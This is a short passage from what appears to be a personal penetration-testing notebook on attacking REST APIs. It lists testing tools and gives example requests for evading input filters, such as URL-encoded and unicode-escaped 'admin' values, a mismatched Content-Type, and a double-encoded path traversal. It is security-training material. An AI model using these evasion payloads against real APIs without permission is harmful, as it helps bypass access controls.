REST API
Attack REST API
Swagger UIJSON Injection
Interesting Books
Swagger Jacker
CherryBomb
cherrybomb --file swagger.json --profile passive
Astra
Automated Security Testing For REST API's
Automatic API Attack Tool
URL Encoding
GET /api/%61dmin/users
Fullwidth or Homoglyph Characters
POST /api/users
Content-Type: application/json
{
"username": "admin"
}
Mixing Encodings in Payloads
POST /api/login
Content-Type: application/json
{
"us\u0065rname": "admin",
"password": "letmein"
}
POST /api/users
Content-Type: application/json
{
"username": "ad\u006din"
}
Content-Type Confusion and Polyglot Payloads
POST /api/profile
Content-Type: application/xml
{"username":"admin"}
Header and Parameter Encoding Tricks
GET /api/products?category=%252e%252e%252fadmin
Resources
Interesting Books
Interesting BooksHacking APIs: Breaking Web Application Programming Interfaces A crash course in web API security testing that will prepare you to penetration-test APIs, reap high rewards on bug bounty programs, and make your own APIs more secure.
Black Hat GraphQL: Attacking Next Generation APIs This hands-on book teaches penetration testers how to identify vulnerabilities in apps that use GraphQL, a data query and manipulation language for APIs adopted by major companies like Facebook and GitHub.
Support this Gitbook
I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.
Last updated